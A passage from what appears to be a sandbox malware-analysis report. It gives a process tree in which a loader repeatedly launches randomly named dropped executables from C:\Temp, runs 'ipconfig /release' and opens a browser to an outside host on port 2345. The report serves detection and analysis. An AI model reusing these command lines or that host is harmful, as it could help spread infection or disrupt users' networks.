      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\faxspkifdx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3512
  - - C:\Temp\faxspkifdx.exe
      C:\Temp\faxspkifdx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5248
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3628
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3540
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_faxspkifdx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4720
  - - C:\Temp\i_faxspkifdx.exe
      C:\Temp\i_faxspkifdx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxspkhcaus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4264
  - - C:\Temp\zxspkhcaus.exe
      C:\Temp\zxspkhcaus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2180
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4072
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2296
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxspkhcaus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4124
  - - C:\Temp\i_zxspkhcaus.exe
      C:\Temp\i_zxspkhcaus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmkecaurpm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2576
  - - C:\Temp\pmkecaurpm.exe
      C:\Temp\pmkecaurpm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5140
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2972
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmkecaurpm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1780
  - - C:\Temp\i_pmkecaurpm.exe
      C:\Temp\i_pmkecaurpm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bztrmjecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4120
  - - C:\Temp\bztrmjecwu.exe
      C:\Temp\bztrmjecwu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:828
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5104
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5228
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bztrmjecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1788
  - - C:\Temp\i_bztrmjecwu.exe
      C:\Temp\i_bztrmjecwu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1088
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywrljdbwto.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1028
  - - C:\Temp\ywrljdbwto.exe
      C:\Temp\ywrljdbwto.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1720
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3844
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywrljdbwto.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2204
  - - C:\Temp\i_ywrljdbwto.exe
      C:\Temp\i_ywrljdbwto.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5256
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\yvtrljdbwt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:6104
  - - C:\Temp\yvtrljdbwt.exe
      C:\Temp\yvtrljdbwt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1932
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2784
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4172
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_yvtrljdbwt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2356
  - - C:\Temp\i_yvtrljdbwt.exe
      C:\Temp\i_yvtrljdbwt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4436
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wqoigawqoi.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3732
  - - C:\Temp\wqoigawqoi.exe
      C:\Temp\wqoigawqoi.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4248
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3172
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3540
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wqoigawqoi.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4632
  - - C:\Temp\i_wqoigawqoi.exe
      C:\Temp\i_wqoigawqoi.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3064
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qlidbvtnlf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5204
  - - C:\Temp\qlidbvtnlf.exe
      C:\Temp\qlidbvtnlf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3676
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qlidbvtnlf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3028
  - - C:\Temp\i_qlidbvtnlf.exe
      C:\Temp\i_qlidbvtnlf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causnkfdxv.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1192
  - - C:\Temp\causnkfdxv.exe
      C:\Temp\causnkfdxv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2600
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1492
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1972
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causnkfdxv.exe ups_ins
    3⤵
    PID:960
  - - C:\Temp\i_causnkfdxv.exe
      C:\Temp\i_causnkfdxv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pnkfcauspk.exe ups_run
    3⤵
    PID:2628
  - - C:\Temp\pnkfcauspk.exe
      C:\Temp\pnkfcauspk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4496
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3644
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pnkfcauspk.exe ups_ins
    3⤵
    PID:5228
  - - C:\Temp\i_pnkfcauspk.exe
      C:\Temp\i_pnkfcauspk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pkhcausmke.exe ups_run
    3⤵
    PID:2604
  - - C:\Temp\pkhcausmke.exe
      C:\Temp\pkhcausmke.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4484
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6004
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4624
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pkhcausmke.exe ups_ins
    3⤵
    PID:1488
  - - C:\Temp\i_pkhcausmke.exe
      C:\Temp\i_pkhcausmke.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5256
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhezwuomjh.exe ups_run
    3⤵
    PID:824
  - - C:\Temp\jhezwuomjh.exe
      C:\Temp\jhezwuomjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4788
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:240
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3936
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhezwuomjh.exe ups_ins
    3⤵
    PID:2408
  - - C:\Temp\i_jhezwuomjh.exe
      C:\Temp\i_jhezwuomjh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4232
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jebztrljeb.exe ups_run
    3⤵
    PID:4908
  - - C:\Temp\jebztrljeb.exe
      C:\Temp\jebztrljeb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4100
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3204
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2736
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jebztrljeb.exe ups_ins
    3⤵
    PID:2176
  - - C:\Temp\i_jebztrljeb.exe
      C:\Temp\i_jebztrljeb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\yomgdbztql.exe ups_run
    3⤵
    PID:2152
  - - C:\Temp\yomgdbztql.exe
      C:\Temp\yomgdbztql.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4920
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4276
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_yomgdbztql.exe ups_ins
    3⤵
    PID:3488
  - - C:\Temp\i_yomgdbztql.exe
      C:\Temp\i_yomgdbztql.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywqojgbytr.exe ups_run
    3⤵
    PID:1388
  - - C:\Temp\ywqojgbytr.exe
      C:\Temp\ywqojgbytr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5276
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4080
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywqojgbytr.exe ups_ins
    3⤵
    PID:5880
  - - C:\Temp\i_ywqojgbytr.exe
      C:\Temp\i_ywqojgbytr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbvtnlfdyv.exe ups_run
    3⤵
    PID:2036
  - - C:\Temp\dbvtnlfdyv.exe
      C:\Temp\dbvtnlfdyv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1956
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4808
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2736
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbvtnlfdyv.exe ups_ins
    3⤵
    PID:1964
  - - C:\Temp\i_dbvtnlfdyv.exe
      C:\Temp\i_dbvtnlfdyv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5984
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snlfdxvqni.exe ups_run
    3⤵
    PID:3416
  - - C:\Temp\snlfdxvqni.exe
      C:\Temp\snlfdxvqni.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3152
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5660
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3496
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snlfdxvqni.exe ups_ins
    3⤵
    PID:2280
  - - C:\Temp\i_snlfdxvqni.exe
      C:\Temp\i_snlfdxvqni.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2232
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x368,0x7ffbe17bc188,0x7ffbe17bc194,0x7ffbe17bc1a0
      4⤵
      PID:1212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1844,i,18333547749622011066,15668988057883006538,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:11
      4⤵
      System Time Discovery
      PID:4660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2224,i,5948135948567359249,3022024478574902288,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=2904 /prefetch:13
      4⤵
      PID:5888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1600,i,12256525180873302300,9965349266237516455,262144 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=2548 /prefetch:2
      4⤵
      PID:5192
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,17600679767344316223,3528935268053494647,2097152 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
      4⤵
      PID:2128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3600,i,16348268273222387714,10093584108076870378,2097152 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:1
      4⤵
      PID:1308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4292,i,17518751435331056952,17989948676661985083,2097152 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:9
      4⤵
      PID:4040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4276,i,13936266669049731270,13266722584094110916,2097152 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
      4⤵
      PID:4628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,782482113943326840,8494133320024282052,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:14
      4⤵
      PID:1792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5432,i,12765524551261057671,8031638275875697424,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:14
      4⤵
      PID:2556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,956778589498015287,13508292273539877182,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:14
      4⤵
      PID:5900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,4226332286773841692,12875914941568086151,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:14
      4⤵
      PID:2428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,4226332286773841692,12875914941568086151,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:14
      4⤵
      PID:4448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4924,i,7356980323684682915,13783534065386709181,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:14
      4⤵
      PID:2972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,8047413553345861433,11442048426970839031,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:14
      4⤵
      PID:5404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,7095426790324277285,7171379343468261240,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:14
      4⤵
      PID:4080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4864,i,6844749498575825403,59253615031764448,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:14
      4⤵
      PID:1244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4908,i,15191979884559317068,6258809985594409740,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:14
      4⤵
      PID:1624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2528,i,14569049257097376023,11417053824057893021,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:14
      4⤵
      PID:460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5036,i,14560851135212193344,15975955822339998134,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:14
      4⤵
      PID:4132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,14034572074534620964,16353637946642516182,524288 --field-trial-handle=2556,i,5953689280954248045,13599629623482528022,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:14
      4⤵
      PID:1124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
